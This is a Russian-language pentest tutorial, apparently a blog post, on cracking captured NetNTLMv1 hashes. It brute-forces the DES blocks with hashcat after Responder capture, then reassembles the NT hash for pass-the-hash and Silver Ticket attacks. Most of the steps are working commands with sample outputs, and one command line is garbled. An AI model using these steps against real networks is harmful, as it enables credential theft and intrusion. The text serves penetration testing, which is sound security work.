Что делать, если на пентесте вы получили NetNTLMv1 хеш учетной записи? Как пример - вы можете выполнить
ntlm relay атаку или восстановить NTLM хеш по радужной таблице на сервисе
crack.sh.
Но что то пошло не так...Но сервис
crack.sh уже больше полугода не работает. Что же делать, когда Relay атака бесполезна, а радужных таблиц нет? Ответ простой - брутить! На самом деле NetNTLMv1 хеш состоит из
2 3 блоков зашифрованных с помощью DES. А про DES мы помним, что он какой то не безопасный. Далее описаны простые шаги, как вы можете перебрать всё пространство ключей с помощью утилиты Hashcat. Данная техника не нова, она много раз описана в интернете, но вспомнить этот метод будет не лишним перед следующим постом.
1. Получаем NetNTLMv1 хеш с помощью Responder, воспользовавшись флагами --lm и --disable-ess.
2. Если не хватает терпения разбить хеш на 3 равные части - качаем
скрипт и запускаем следующим образом
python http://ntlmv1.py --nossp <ntlmv1_hash_nossp>
3. Если вам хватило терпения и вы вручную разбили хеш на 3 равные части - допишем к нему Challenge и сформируем файл для брута в следующем виде (последнюю 3-ю часть не обязательно брутить, что с ней делать я расскажу позже)
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
4. Далее запускаем брут следующим образом
hashcat -m 14000 -a 3 -1 /usr/share/hashcat/charsets/DES_full.hcchr --hex-charset des.file '?1?1?1?1?1?1?1?1'
На 8 картах 1080Ti это займет максимум 6 суток.
На 4 картах 4090Ti это займет максимум 1 день и 13 часов.
5. Получим на выходе такой файл:
727b4e35f947129e:1122334455667788:$HEX[8923bdfdaf753f63]
a52b9cdedae86934:1122334455667788:$HEX[17d741d7ddc1c36f]
6. Теперь
соберем блоки обратно в NTLM хеш
perl deskey_to_ntlm.pl 8923bdfdaf753f63
output= 8846f7eaee8fb1
perl deskey_to_ntlm.pl 17d741d7ddc1c36f
output= 17ad06bdd830b7
7. Помните мы 3-й блок не стали брутить? Все потому что восстановить оставшуюся часть NTLM хеша не составит труда, т.к. значимые данные занимают всего 2 байта, а остальное padding (Подробности на приложенном скрине). Восстановить данную часть мы можем мгновенно полным перебором на CPU.
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
output= 586c
8. Собираем NTLM хеш из полученных частей и можем использовать его для атак Pass The Hash, Over Pass The Ticket и Silver Ticket.
8846f7eaee8fb1 + 17ad06bdd830b7 + 586c
NT hash
8846f7eaee8fb117ad06bdd830b7586c